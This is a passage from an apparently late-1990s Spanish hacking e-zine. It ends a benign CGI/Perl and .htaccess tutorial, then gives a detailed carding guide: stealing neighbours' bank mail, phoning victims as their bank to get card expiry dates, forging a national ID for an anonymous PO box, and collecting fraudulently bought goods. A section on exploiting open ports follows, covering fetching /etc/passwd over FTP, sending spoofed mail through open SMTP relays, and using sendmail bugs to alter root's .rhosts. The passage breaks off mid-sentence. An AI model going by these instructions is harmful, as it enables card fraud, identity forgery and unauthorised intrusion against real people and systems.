│ │ $tipo = "gif"; │ │ │ │ # Hacemos que el stream de datos fluya sin un buffer para hacerlo mas rapid│ │ select (STDOUT); │ │ $| = 1; │ │ │ │ # Comienzo del contenido multipart. │ │ print "Content-Type: multipart/x-mixed-replace;boundary=separador\n\n"; │ │ print "--separador\n"; │ │ │ │ # Este for toma cada imagen de la secuencia, la envía, manda un separador │ │ #y luego envía la siguiente, repitiendolo las veces que indique $veces. │ │ for ($num=1;$num<=$veces;$num++) { │ │ foreach $archi (@archivos) { │ │ print "Content-Type: image/$tipo\n\n"; │ │ open(GIF,"$dirbase$archi"); │ │ print <GIF>; │ │ close(GIF); │ │ print "\n--separador\n"; │ │ } │ │ } │ └────────────────────────────────────────────────────────────────────────────┘ Lo único que me quedaría por aclarar es que ya que el tipo "x-mixed/replace" fué definido por Netscape, solamente funcionará con su browser versión 1.1 y posteriores. GIF multipart. En este caso no tendremos que programar nada y es por lejos la forma más simple de armar una animación, aunque mantiene la desventaja de ser visualizados únicamente por el Netscape 2.0 en adelante. En definitiva se trata de ampliar las posibilidades del formato GIF89A (aquel que nos permite utilizar backgrounds transparentes). Los archivos .GIF tienen al comienzo un "header" que indica su tamaño y otros datos, con programas como el Gif Construction Set ampliaremos este header e incluíremos líneas con la secuencia de imágenes y comandos de control. El header de una animación simple quedaría de la siguiente manera: ┌─────────────────────────────┐ │ HEADERGIF89AScreen(320x200) │ │ LOOP │ │ CONTROL │ │ IMAGE320x200,256colours │ │ CONTROL │ │ IMAGE320x200,256colours │ │ CONTROL │ │ IMAGE320x200,256colours │ └─────────────────────────────┘ Ya que el Gif Construction Set trae un help bastante completo y es sencillo de usar no quisiera extenderme más en el tema. Sugerencia: Leer con el GifCon los .GIF que trae de ejemplo. Si nos decidimos por utilizar este método tengamos en cuenta lo siguiente. La mayoría de los browsers (descartando Netscape 2.0) mostrarán únicamente el primer cuadro de la animación y algunos pocos sólo el último. De manera que si queremos que tratar de que la animación luzca bien en cualquier browser, la solución más simple es hacer que el primer cuadro sea el más presentable (nada de logos al revés;) y que el último sea igual al primero. Counters. Implementar un "counter" no es una tarea muy díficil. Básicamente se graba en un archivo el valor del contador, y cada vez que se hace un nuevo acceso a la página controlada se lee este archivo, se incrementa en uno el valor leído y se vuelve a grabar. Veremos un fragmento de script que hace esta tarea. Por otro lado no quería dejar de comentar que existen scripts más complicados que pueden generar una salida en la forma de un archivo .GIF. Estos scripts lo que hacen es leer el valor a representar, "pegan" en una misma imagen los dígitos que componen dicho número y la envían. Si seguimos avanzando también encontraremos scripts que pueden controlar más de una página, ya que trabajan en base a un archivo índice que almacena el valor de los contadores para cada página en particular. A los fines de este tutorial el ejemplo presentado es lo suficientemente entendible como para poder implementarlo y practicar sin mucho trabajo. ┌────────────────────────────────────────────────────────────────────────────┐ │ #!/usr/local/bin/perl │ │ │ │ open(CONTADOR,"$counter.dat") || die "Error al abrir el archivo: $!\n"; │ │ $contador = <CONTADOR>; │ │ close(CONTADOR); │ │ if ($contador =~ /\n$/) { │ │ chop($contador); │ │ } │ │ │ │ $contador++; │ │ │ │ print "<HTML><HEAD><TITLE>Bla,bla,bla..</TITLE></HEAD>" │ │ │ │ open(CONTADOR,">$counter.dat") || die "Error al cerrar el archivo: $!\n";│ │ print CONTADOR "$contador"; │ │ close(CONTADOR); │ └────────────────────────────────────────────────────────────────────────────┘ Páginas Web con protección por password. Para no dejar de lado el tema de la seguridad abordaremos el uso de passwords en el acceso a un servidor Web. Necesitaremos nuevamente tener algunos conocimientos previos, en este caso del manejo de archivos UNIX. Si utilizamos otro tipo de plataforma para correr el Web Server, como Windows NT, tendremos este tema solucionado con una muy sencilla configuración a través del uso de menúes (por lo menos con el Website). Lo principal para aclarar antes de comenzar es que cuando utilizamos este sistema (según su mecanica interna) restringimos el acceso a un directorio, no a una página en particular. El método se basa principalmente en poner en cada directorio a proteger un archivo de nombre ".htaccess" que contiene los parámetros de configuración de la protección implementada y el nombre del archivo que contiene las passwords que normalmente es el ".htpasswd". Y se acabó el misterio. Eso es todo. Cuando se le solicita al server una página que tiene en su mismo directorio un ".htaccess", éste se encarga de enviar los códigos HTTP necesarios para que el browser levante la ventanita de autentificación. Para explotar este recurso completamente pasaremos a analizar en detalle los parámetros que pueden ser utilizados en el ".htaccess" y la forma en que podemos mantener actualizado el ".htpasswd" . El archivo ".htaccess". Este archivo debe estar ubicado en el directorio que se desea proteger y dicha protección afectará a todos los subdirectorios del mismo, a menos que posean sus propios archivos ".htaccess". Dado que se trata de un archivo de texto común podremos actualizarlo con cualquier editor del que dispongamos. ┌───────────────────────────────────────────────┐ │ AutUserFile .htpasswd │ │ AuthGroupFile /dev/null │ │ AuthName Ingrese su user ID y su password. │ │ AuthType Basic │ │ │ │ <Limit GET> │ │ require user usuario1 usuario2 usuario3 ..... │ │ </Limit> │ └───────────────────────────────────────────────┘ Descripción de los Parámetros. AutUserFile: es el nombre del archivo que contiene los nombres de los usuarios (users ID) y sus respectivas passwords. Este archivo debe estar ubicado en el mismo directorio que ".htaccess" pero puede llevar cualquier nombre. Por convención le daremos el nombre de ".htpasswd" . AuthGroupFile: Este es el nombre del archivo de grupo. Podemos setear grupos de usuarios para que tengan acceso a un directorio, en el caso del ejemplo no tenemos un archivos de estos armado, por lo que direccionamos a null que significa que no existe ningún archivo de grupos. AuthName: Es el string que aparecerá en la ventanita que levanta el browser, cuando se le pregunte al usuario su ID y su password. AuthType: es la clase de seguridad que implementamos. "Basic" significa Autentificación Básica HTTP, es decir que la información enviada a través de la red NO será encriptada sino que será "uuencodeada" (uuencoded), lo cual nos da un nivel de protección similar al de una sesión de telnet. Existen otro métodos además de éste tales como PEM, PGP, Kerberos V5 y Digest. En el ejemplo que vimos solamente el método GET está restringido usando la directiva <Limit>. Para limitar otras métodos (particularmente en los directorios CGI-BIN) se puede especificar los mismos separados por espacios dentro de la directiva LIMIT. Por ejemplo: <Limit GET POST PUT> require user usuario1 usuario2 usuario3 ..... </Limit> El comando "require" le dice al server cuales son los usuarios que están autorizados en ese directorio. Este comando puede tomar dos formas, "require user" para limitar el acceso según usuarios o bien "require group" para limitar el acceso según grupos de usuarios. Existen otros comandos que pueden ser implementados en este nivel, como "allow" y "deny" que permiten otorgar o denegar (respectivamente) el acceso a un dominio en particular. <Limit GET POST PUT> order deny,allow deny from all allow from .mecon.ar </Limit> Restringiedo el acceso a los documentos de ese directorio a aquellas máquinas que se encuentren en el dominio .mecon.ar y excluyendo a las restantes. Cabe destacar que los ID utilizados son completamente arbitrarios (es decir no tienen relación con los usuarios del server). El archivo .htpasswd . Este archivo consiste en una lista de los user ID y sus password encriptadas, es un archivo de texto común por lo que puede ser movido, copiado o borrado como cualquier otro. Por ejemplo: pedro:WkSK1DE7N8.9. pablo:hQty39EV1.g56 diego:JeB31vf9PSTgw susana:EDRfRrfrw43q Como no podemos crear una password encriptada "a mano" usaremos una herramienta llamada htpasswd que permite construir este tipo de archivos. Esta herramienta se usa de la siguiente manera: Server> htpasswd -c .htpasswd USUARIO Adding password for USUARIO New password:******** Re-type new password: ******* Si queremos modificar la password de USUARIO en otro momento usamos la misma sintaxis. Para eliminar usuarios simplemente se borra la línea correspondiente dentro del archivo. Proteccion a nivel de grupo Cuando tenemos un gran número de usuarios que mantener podemos facilitar el manejo de los mismos separándolos en "grupos" creando un archivo de nombre ".htgroup" (por convención) con el siguiente formato: nombregrupo1: primeruser segundouser .... últimouser nombregrupo2: primeruser segundouser .... últimouser nombregrupo3: primeruser segundouser .... últimouser y debemos cambiar el require por un "require group nombregrupo ". Final del tutorial (por ahora). Con el tema de las "passwords" damos por terminada la tercera parte de este documento, lo que sigue es un apéndice con links que me fueron bastante útiles al momento armarlo, la bibliografía utilizada y algo de vocabulario. Terminar esta tercera parte fué algo más que un triunfo, (pensar que había planeado tenerla lista para fines de marzo:), cada vez que agarraba el doc surgía un tema nuevo, y así. Releyendo las otras partes me doy cuenta que faltan algunos ítems (oh no..más laburo :P) o que por lo menos están un poco incompletos, paciencia en cuanto pueda sale una nueva versión corregida y aumentada. Lo próximo que tengo en mente en cuanto a tutorials estará basado en el uso de frames y JavaScript en páginas HTML, una tecnología interesante pero no madura del todo en este momento, así como también una mini-introducción al lenguaje Perl, de manera que en algunos meses más empezaré por ese lado. A propósito, ustedes notarán que desde que empezó esto del tutorial mis preferencias programáticas han ido cambiando a lo largo del tiempo. Estos cambios tienen su fundamento; Perl es portable, es fácil de usar y de aprender, es freeware y además es interpretado de manera que el ciclo edición/ testeo se hace mucho más corto. Escribir este tutorial fué una tarea bastante grata, aprendí muchísimo tratan do de explicar algunos conceptos,y como siempre para hacer de esta una tarea completa espero sus comentarios (de los buenos y de los otros ;), en mi email: dquir@indec.mecon.ar ,los cuales serán de gran ayuda en mis proyectos futuros. Suerte y buenos scripts! (frase afanada de algún lado) Sebass. Próximos Desarrollos. El protocolo HTTP y HTTP-NG. Meta Tags y su uso ( y abuso). CGI scripts en otros lenguajes (Visual Basic por ejemplo) HTML/CGI como front/end de nuestros programas. Introduccion a Java y JavaScript. Introduccion a Perl y aplicaciones CGI. PD: Parece que no puedo dejar de escribir, no quería dejar de comentar que las versiones HTML y Word del tutorial estarán disponibles en breve. -- APENDICE: Librerías para la Programación de scripts CGI. Estos son los URL de las librerías utilizadas en los ejemplos de este documento. Librería C ────> UnCGI ────> http://www.hyperion.com/~koreth/uncgi.html Librería Pascal ────> TPWCGI ────> http://141.2.61.48/tpwcgi/tpwcgi.htm Librería Perl ────> CGI-LIB.PL ────> http://www.bio.cam.ac.uk/cgi-lin/1.14/cgi-lib.pl.txt Sites con información acerca de CGI. Estos sites contienen mucha de la información que fué utilizada para crear este documento y son realmente muy interesantes. http://shani.net:80/~tls/guide/index.html http://www.stars.com/Vlib/Providers/CGI.html http://super.sonic.net/ann/delphi/cgicomp/detail.html http://www.city.net/win-httpd/httpddoc/wincgi.htm http://www.aspectse.com/Product/dbWeb/dbWeb.html http://128.172.69.106:8080/cgi-bin/cgis.html http://users.aol.com/thingtone/workshop/index.htm Vocabulario - Siglas. URL: Universal Resource Locator Una nomenclatura que describe en forma compacta la ubicación de cada recurso en la Internet y el protocolo utilizado para acceder al mismo. MIME: Multipurpose Internet Mail Extensions Una nomenclatura que permite identificar correctamente el tipo de datos que se esta enviando a través de una conexión. HTML: HyperText Markup Languaje Un lenguaje para el "armado" de documentos de hypertexto incluyendo "links" y algunas otras caraterísticas adicionales. CGI: Common Gateway Interface Un mecanismo que permite a los browser de Web ejecutar programas en el server Web y recibir la "salida" de estos programas. HTTP: HyperText Transport Protocol Un protocolo para la transferencia de documentos de hypertexto y otro tipo de archivos. VRML:Virtual Reality Modeling Languaje Un lenguaje que mediante "modelos" permite generar visiones 3D de un universo con "links" y otras características adicionales. Bibliografía. An exploration of Dynamic Documents - Netscape Corporation. Very Limited Guide to HTML - Kevin Werbach. CGI tutor - Bex Lanner. HTML-based Interfaces - Nik Swoboda. CGI Tutorial - Agora. An guide to HTML and CGI scripts - Mike Smith. Mosaic User Authentication Tutorial - NCSA. Web Page Password Protecion - CNC. FIN DEL TUTORIAL ───────────────────────────────────────────────┐ 01/05/96 ╔════════════════════════════════════════════╗ │Sebastián Quiroga. ║Este documento puede ser reproducido en su ║ │ ║totalidad o en parte siempre que se conserve║ │Email: ║esta postdata o bien se haga clara mención ║ │ dquir@indec.mecon.ar ║de la fuente. ║ │ diego@comunicaciones.mecon.ar ╚════════════════════════════════════════════╝ └────────────────────────────── ┌─────────────┐ │Versión: 1.00│ └─────────────┘ oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO Aqui tienes algo de carding, aunque no te recomiendo que lo pongas en practica si no quieres acabar en la carcel ... oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO 4 - CARDING ~~~~~~~~~~~ CARDING - CARDING - CARDING - CARDING - CARDING ++++++++++++++++++++++++++++++++++++++++++++++++ by SlimeLORD eclipse GROUP Que mejor que poder acceder a cualquier sitio, o por ejemplo, no se te ha ocurrido nunca? El poder comprar GRATIS por Internet, para ello, debes conseguir lo siguiente: * Una carta del banco, de cualquier persona (que sea extracto de cuenta) * O bien un resguardo de esos que tiran al lado de los cajeros automaticos. * Un generador de numeros de tarjetas de credito * Un poco de perspicacia * Un apartado postal creado a partir de un carnet falso PRIMERO. ++++++++ Bien, ¿no sabes como conseguir cartas del banco? No vives en un piso? Umm nunca has mirado los buzones de tus vecinos? Pues ya es HORA! Busca bien sobre todo cartas de bancos, ARGENTARIA, BBV, CENTRAL-HISPANO, RURAL... Bien, una vez tengas uno, suelen salir los extractos sobre finales de mes, ya sea el 22, 23, 24, de ese mes, tenlo en CUENTA, y sobre todo cuando lo deja el cartero, luego APROVECHA que no te pille nadie y SAQUEA el correo . ADVERTENCIA: Robar el CORREO ES DELITO! Bien, ahora si la carta es correcta, obtendras los datos de tu vecino y mira el saldo que le queda: Guau! una pequeña fortuna, a que si? jeje, Debes obtener los siguientes datos: PROPIETARIO/A DE LA CUENTA, ENTIDAD ( 4 cifras) OFICINA ( 4 cifras) D.C ( 2 cifras) CUENTA (10 cifras) En total un numerito de 20 cifras, ok? Bueno, pues AHI tienes la cuenta, pero SORPRESA de su extracto he conseguido su numero de tarjeta de credito, UFF!! CHAVAL espera!!!!!!!! SEGUNDO. ++++++++ suelen tener este aspecto los extractos de tarjetas de credito: F.OPER. CONCEPTO F.VALOR CARGOS ABONOS 14-01 SALDO ANTERIOR 210.000 14-01 CUOTA TARJETA 9-01 TARJETA XXXX XXXX XXXX XXXX 13-01 750.000 14-01 OPERATORIA EN CAJEROS SERVIRED XXXX XXXX XXXX XXXX YYYY YYYY YYY 19-01 19-01 RETIRADA EFECTIVO CAJERO BBV XXXX XXXX XXXX XXXX YYYY YYYY YYY 22-01 Gueno, pos la tarjeta la teneis dada, ahora solo queda chequearla en vuestro CHEQUEADOR DE TARJETAS DE CREDITO, valen la THC-CARD, CCARD CREATOR... y demas. A partir de esa puedes generar tarjetas aleatorias, jeje te serviran para siguientes actos! Si es asi, BIEN, puedes usar la tarjeta para hacer compras por INTERNET, pero..ummm, COMO COÑO? ( umm, come lo que quieras..) X'DDD SEGUNDO.b +++++++++ Este articulo tenia 4 pasos pero la creciente demanda de direcciones y paginas WEB que hacen seguras sus transacciones a traves de servidores chequeadores de tarjetas, me he tenido obligado a retocar el articulo (version beta 0.1.2) xDDDDDDDD Bueno, todos habreis usado cualquiera de los miles de generadores de tarjetas que hay disponibles no? Bien pero ERROR, ya no se las traga, :( Bueno hay OTRA solucion, O bien creo hay una pagina HACK donde instantaneamente al ponerle un numero de VISA p.ej te genera la fecha de caducidad y se la traga la WEB9000 (si saben la dire avisenme)... O bien se puede hacer el viejho trukhoh! del almendrukhoh (esto es con asento americanou)...xDDD Al pillar la carta de tu vecino/a pues sabes la direccion de donde es ella, y si pillaste su numero de tarjeta puedes usar tu ingenieria social, para a) conseguir su numero de telefono, como? llamala por el porterillo y dile que eres de la revision del gas, p.ej y que si es ella la se;ora tal ... que si me podria dar su numero de telefono, mas facil es llamar al 003 y que te digan su numero.... Bien empapate de los datos suyos bancarios y hazle una llamada sobre las 11.00 de la ma;ana, ponle voz de convencido sino no funciona... Y dile, TU: "muy buenos dias, mire le llamo desde el banco XXXXX y resulta que estoy comprobando unos datos.... Vd es la se;ora XXXXX no? Tiene ahi su numero de tarjeta VISA???" a esperar un momentito... no te rias.... Bien, el titular es XXXXX (dato que ya tenias...) y el numero es XXXXX y se lo sueltas, " te respondera que si, ahora dile que la fecha de caducidad se la han cambiado, y preguntale que cual era la que tenia IMPRESA.... Y et BoILA! Ya tienes numerito y hasta con fecha de caducidad.... Dile que gracias por corregir los datos y buenos dias...." OK, ahora grita de contento!!!! GASTATE TODO EL DINERAL DE TU VECINO!!!!!!!!!!! jajajaja. (ej. en bonos de internet de telefono, net2phone.... playboys... teletienda... ui madre miaaaaaaaaaaa ....) TERCERO ++++++++ Bien, habras visto muchas cosas para comprar por INTERNET, teletienda, internet-shop, y demas... Busca tan siquiera en el OLE, tiendas, o teletiendas... Veras como salen a porrillo... Sobre todo que sean ESPAÑOLAS, o las de la tele mismamente, esos 903 o 906 YO KE SE! Bien, tienes una localizada, no? OK, vamos a comprar. HAY QUE SABER COMPRAR. Por ejemplo, que comprariais? Una butifarra? Un champu antipiojos? :?¿ NO HOMBRE KE MAL GUSTO TIENES! Una consola? Un componente nuevo para tu PC? Ok eso siempre!!! FALE! Ahora te pediran los datos y OJOR!!!! JARLH!! te pide la direccion donde mandarlo, umm! esto tiene truco NUNCA DEIS NINGUN DATO VUESTRO REAL!! OK? FALE, para recibir el "regalito" create un APARTADO POSTAL ANONIMO. Umm , como? Vale, hazte un escaneo de tu DNI, le cambias la foto un poquito, date cuenta que bien puede ser la de un colega tuyo de 14 tacos. X'DDDDDDDD OJO: ADVERTECIA: POSEER UN DNI FALSO ES DELITO PENADO POR LEY! RECOMENDADO HACERTE CON UN DNI DE LOS ANTIGUOS; ESOS NO TIENEN RELIEVE EN EL DNI, Y DA MAS EL PEGO...( cambiale la caducidad! ) Que se parezca vagamente a ti, OK, luego se la pegas en la que has imprimido, te sugiero la hagas con una impresora a COLOR, tipo EPSON 800 o similar, a 600 ppp, or better a 1400! Bien, ahora la llevas a cualquier fotocopiadora y que te la plastifiquen. OKIZ? Hazlo lo mejor posible, aunque seas un MANOTAS seguro lo consigues. OK! Bien, ahora sacale una fotocopia que es lo que te pediran en CORREOS para sacartelo... pagan las 3000 pelas, et voila! Apartadillo para ti solo! Ahora ya puedes pedir que te manden el regalito a ese apartadillo postal a nombre del DNI falso que tas currao! Bien, no abuses de este metodo, pues AVISO: si es una ciudad grande tipo MADRID , BARCELONA, no deberiais tener problemas, pero si es un pueblecito, mejor NO hacerlo, pues OS CONOCEN! Bien, una vez lo hayas pedido, date cuenta que tardara sobre unos 4-5 dias, segun la rapidez del transporte, BIEN!, vete bien temprano el dia que creas que ha llegado y saca tu paquete, si te dejan una nota diciendo que vayas a otro sitio a recojerlo, umm, suena RARO, mejor no vayas! Tambien , mejor hecha un vistacillo alrededor a ver si ves algo raro, gente esperando, mirando a las enrtadas, umm, esto es muy importante, ya que pueden ser de la secreta... Vale, pide cositas importantes, pero a la vez pequeñas, como por ejemplo tarjetas graficas 3D, consolas, grabadoras... cosas pequeñas y de valor... discos duros... Bien, Otro consejito: No uses el apartado para lo mismo tres o 4 veces, te podrian cazar, y recuerda, ves a recojer tu paquete o BIEN cuando creas que ha o debe de llegar, o bien pasate al mes siguiente, seguro que nadie se da cuenta, y ES LO MAS SEGURO. RECOMENDADO! Umm, si le pagas 500 pelas a un chavalillo, hasta el mismo te lo puede traer, pero citalo en un sitio donde NO haya nadie, y observalo de lejos no vaya a ser que lleve compañia, me pillas? JHumm! CUARTO. +++++++ Bien, eres UNIVERSITARIO? JORL! bien , bien , bien, amos a haserlo mas fasil, los estudiantes universitarios suelen / solemos ( X'DD) vivir en pisos de alquiler, USA esto para recojer tus paquetes, los compañeros que te busques deben ser esporadicos, osea que un mes aqui, otro alla, y con nombre falso, dni falso, umm direccion falsa... Uff, cuanto mas falso tengas mejor.. Bene , bene! Pidelo a esa direccion, e intenta que te lo envien a finales de mes, asi podras largarte a fin de mes, sin dejar sospechas. O si te pillan en el piso y tienes confianzas con tus colegas diles que llegaban cosas a esta direccion sin mas y que tu no tienes nada que ver, pero como llegaban gratis pues nos lo quedamos... Puedes pedir, segun te vayas experimentando en el tema mas cosas, segun sea, pero CAREFUL, se cuidadoso, y otra cosa importante, te puede servir para conseguir cartas de tus vecinos nuevos... Ya sabes, lo tienes a guevo! SALUTOS! BYEZ SlimeLORD eclipse GROUP slimelord@usa.net pqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpq Dado que hay muchos articulos sobre Unix y sobre que hacer una vez dentro de un sistema, he escrito este que puede ayudarte a hacer lo mas importante, entrar .... pqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpq 5 - COMO APROVECHAR LOS PUERTOS DE UN SISTEMA ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ OoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO o o O CoMo aPRoVeCHaR LoS PueRToS De uN SiSTeMa O o o O GuyBrush O o o OoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO A.-INTRODUCCION ~~~~~~~~~~~~ Como todos sabeis, uno de los primeros pasos (por no decir el primero) a la hora de buscar informacion sobre un sistema es hacer un escaneo de puertos. Pero una vez hecho este, que aprovechamos realmente? mucha gente solamente se fija en el puerto 23 (telnet) y si ve este cerrado ya lo toma por imposible. Con este texto quiero mostrar la gran utilidad de otros puertos tambien importantes, bien para recopilar informacion, bien para hackear (aunque no se disponga de acceso a la cuenta shell). (El que no sepa que es esto de escanear puertos mejor que se lea antes los numeros atrasados de RareGaZz). B.-LISTADO DE LOS PUERTOS MAS IMPORTANTES ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Aunque ya han aparecido listados de puertos en otros numeros de este zine, quiero volver a escribirlos para una mayor comodidad del lector; y asi, poder tenerlos mas a mano. Puerto Servicio Utilidad - [ o inutilidad :) ] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 7 echo Lo que teclees se volvera a escribir 9 discard dev/null - basura 11 systat Informacion sobre los usuarios 13 Hora y fecha en el host remoto 15 netstat Informacion sobre la red 19 chargen Muchos caracteres ASCII. ^C para detenerlo 21 ftp Transferencia de ficheros 23 telnet Acceso al shell 25 smtp Correo saliente 37 time Hora en el host remoto 39 rlp Localizacion del recurso 43 whois Informacion sobre la red y el host 53 domain Nombre del servidor 70 gopher Buscador de informacion (ya anticuado) 79 finger Informacion sobre los usuarios 80 www Servidor de Web 109 pop2 Correo entrante 110 pop3 Correo entrante 119 nntp Grupos de noticias (news) 443 shttp Otro servidor de Web 512 biff Notificacion de correo 513 rlogin Login remoto 514 shell Comando remoto 515 spooler 520 route Protocolo de informacion routing 8000 http 8080 proxy C.-ANALIZANDO ALGUNOS PUERTOS A FONDO ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vamos a analizar la manera de sacar el mayor provecho a esos servicios que encontramos disponibles cuando hacemos un escaneado de puertos. """"""""""""""""""""""" " PUERTO 15 (NETSTAT) " " " """"""""""""""""""""""" - Utilidad =-=-=-=- Nos muestra una gran informacion sobre el sistema. Este puerto esta destinado a hacer estadisticas sobre la red. - Formas de explotarlo =-=-=-=-=-=-=-=-=-=- * Estilo newbie ------------- Solo tienes que escribir 'netstat <parametros>'. De todos modos, aqui te pongo una pequeña ayuda para que veas lo que se puede conseguir: Parametros soportables: ? Ayuda de uso (algo parecido a esto, pero en ingles) :) -a Muestra todas las conexiones en cualquier puerto -e Estadisticas de la Ethernet. Esta opcion puede ser combinada con '-s' -n Muestra las direcciones y numeros de puerto de forma numerica -p protocolo Muestra las conexiones del protocolo 'tcp' o 'udp' especificado -r Muestra el contenido de la tabla de enrutado -s Estadisticas de los protocolos. Por defecto estan el 'TCP', 'UDP' e 'IP', pero se pueden especificar mas mediante el parametro '-p' intervalo Muestra el resultado por paginas. Evita que se te pierda la informacion por el scroll de la pantalla * Estilo hacker ------------- Haz telnet al puerto 15 y preparate para recibir informacion. Lo mejor es que redirijas la salida a un fichero y luego lo edites y estudies tranquilamente. """"""""""""""""""" " PUERTO 21 (FTP) " " " """"""""""""""""""" - Utilidad =-=-=-=- Supongo que todos sabreis que el FTP sirve para acceder a un ordenador para coger / dejar ficheros. Es similar al acceso por telnet, pero con muchas mas restricciones, como por ejemplo, no poder ejecutar ficheros. Pero como tambien sabeis, presenta la ventaja de que en muchos sistemas hay un usuario 'ftp' o 'anonymous' que te permite acceder libremente poniendo como password 'guest' o tu nombre de usuario (Mmm mejor guest). - Formas de explotarlo =-=-=-=-=-=-=-=-=-=- * Estilo newbie ------------- Vamos a ver cuales son las ordenes que se pueden utilizar al hacer un FTP: HELP --> Muestra la lista de comandos disponibles. Los que tienen un * al lado estan deshabilitados. HELP comando --> Muestra ayuda de uso de ese comando. USER --> Especificar un nombre de usuario. PWD --> Especificar un password para el nombre de usuario introducido anteriormente. ! --> Ejecutar ordenes de nuestro sistema sin salir del FTP. Si por ejemplo escribimos '!dir *.*' (sin comillas) veremos el contenido de nuestro disco duro (tener en cuenta que pongo 'dir' si estoy bajo MS-DOS. Debemos utilizar las ordenes de 'nuestro' sistema). ACCOUNT --> Cuenta de usuario. STORE --> Este comando hace que el servidor acepte los datos transferidos y que los almacene en un fichero. SUNIQUE --> Similar a STOR excepto que el fichero creado debe tener un nombre unico para ese directorio. APPEND --> Similar a STOR, pero si el fichero ya existe los datos se almacenaran al final del archivo, sin sobreescribir el fichero original. CD --> Cambiar de directorio :) CDUP --> Ir al directorio raiz ( = CD / ). MKDIR --> Crear un directorio. RMDIR --> Borrar un directorio vacio. DELE / DELETE --> Borra un fichero del servidor. LS --> Ver el contenido del directorio (igual que en Unix). CHMOD --> Cambiar permisos de fiheros (igual que en Unix). PWD --> Indica el directorio actual (igual que en Unix). LCD --> Cambia el directorio local de trabajo. QUIT / BYE --> Terminar la conexion. TYPE modo --> Especifica el tipo de representacion de los datos. El paremetro 'n' puede ser: - ascii - binary - image - ebcdic - tenex (Los parametros dependen del sistema). PROMPT --> Activar /desactivar el modo interactivo. Nos sirve para poder subir / bajar muchos ficheros sin que nos pida conformacion cada vez. GET --> Bajar un fichero. PUT --> Subir un fichero. MGET --> Similar a GET pero baja multiples ficheros (por ejemplo: 'MGET /etc/passwd'). MPUT --> Similar a PUT pero sube multiples ficheros. VERBOSE --> Activa / desactiva el modo verbose. Nos da mas informacion sobre los comandos que ejecutamos. MODE --> Especificar el modo de transferencia de datos. Los modos posibles son: S - Stream B - Block C - Compressed RESTART --> Le indica al servidor el indicador de lugar en el cual la transferencia de un fichero debe ser continuada. Debe ir seguido de un comando apropiado para que la transferencia continue. RENAME --> Indica el nombre del fichero a renombrar. BELL --> Suena el altavoz cada vez que acaba la ejecucion de un comando. SITE --> Este comando es usado por el servidor para proveer servicios especificos al sistema que son esenciales, pero no suficientemente universales para ser incluidos como comandos en el estandar del protocolo. SYSTEM --> Nos da informacion sobre el sistema operativo al que estamos conectados. STATUS --> Nos da informacion sobre el status del sistema. Existen muchos mas comandos (dependiendo del sistema) pero estos son los mas importantes (espero no haberme dejado ninguno). * Estilo hacker ------------- La forma de acceder es distinta, pero vamos a llegar al mismo sitio. Podemos hacer telnet al puerto 21 y movernos por el sistema de forma identica, con los comandos descritos anteriormente. """""""""""""""""""" " PUERTO 25 (SMTP) " " " """""""""""""""""""" - Utilidad =-=-=-=- Podemos aprovecharlo de distintas formas, bien para enviar correo de forma anonima, o si la version de 'sendmail' utilizada tiene bugs, hasta puede que consigamos modificar el .rhosts de algun usuario (como el root, por ejemplo) o conseguir el shadow del sistema. - Formas de explotarlo =-=-=-=-=-=-=-=-=-=- * Estilo newbie ------------- Solo has de cambiar la configuracion de tu programa de correo. Para ello debes modificar el nombre del servidor de SMTP y las direcciones de correo que tenemos en la identificacion de usuario y en el retorno (reply-to address). Estos son los cambios: POP3 Server: (no hace falta que lo modifiques) SMTP Server: algun.servidor.de.smtp.com POP3 Username: (no hace falta que lo modifiques) E-mail address: supercoco@hacker.com Reply-to address: supercoco@hacker.com Lo que estamos haciendo es enviar correo como si fueramos el usuario supercoco@hacker.com desde el servidor algun.servidor.de.smtp.com. Al destinatario le aparecera mas o menos esto: Return-Path: <supercoco@superplanet.com> Received: from algun.servidor.de.smtp.com ([208.156.39.193]) by su.servidor.de.smtp.com (Netscape Mail Server v1.1) with SMTP id AAA13275 for <pardillo@su.servidor.com>; Sun, 1 Feb 1998 17:45:27 +0100 Subject: Esto es un mensaje falso ... From: supercoco@superplanet.com Reply-To: supercoco@superplanet.com To: pardillo@su.servidor.com Y aqui va el mensaje ... Si te fijas en lo de abajo (a partir del subject), veras que le hemos enviado un mensaje con un remitente que no somos nosotros. Pero si miras mas arriba podras observar que aparece nuestra direccion IP. Ohhh ... nos pillaron. Esto es debido a que el servidor que hemos usado para enviar el correo (en este caso: algun.servidor.de.smtp.es) refleja la IP de todo aquel que envia a traves de el. Para solucionar esto debemos encontrar uno que no refleje la IP). Si miras en numeros anteriores de este zine podras ver listados de servidores. Pero, si deseas alguno que no conozca mucha gente, deberas probar 'a huevo'. Date cuenta de que si escribes mal su direccion de correo nunca te podras enterar, dado que la direccion de 'reply' es de otra persona, o inexistente (como en este caso: supercoco@hacker.com ... o puede que exista X-D ). * Estilo hacker ------------- Si entras con telnet deberas utilizar unas determinadas ordenes para moverte por el sistema. Esto tiene varias ventajas: 1) Cuando conectas te dice la version de sendmail (o cualquier otro protocolo que utilice). Con lo cual puedes buscar en nuestra seccion de bugs :D por si esa version tiene alguno (seguro que si). 2) Una vez conectado puedes escribir HELO (o HELO user) con lo que el te respondera con un mensaje de bienvenida, mostrandote o no, tu direccion IP; en caso de que te la muestre ... busca otro (si tu fin solamente era enviar correo falso - o fake mail). 3) No necesitas reconfigurar tu programa de correo :) Para poder moverte por el sistema debes usar los siguientes comandos: HELP --> Mensaje de ayuda (no esta disponible en todos los sistemas). HELO hostname --> En algunas versiones esto es necesario para poder ejecutar el resto de comandos. En 'hostname' 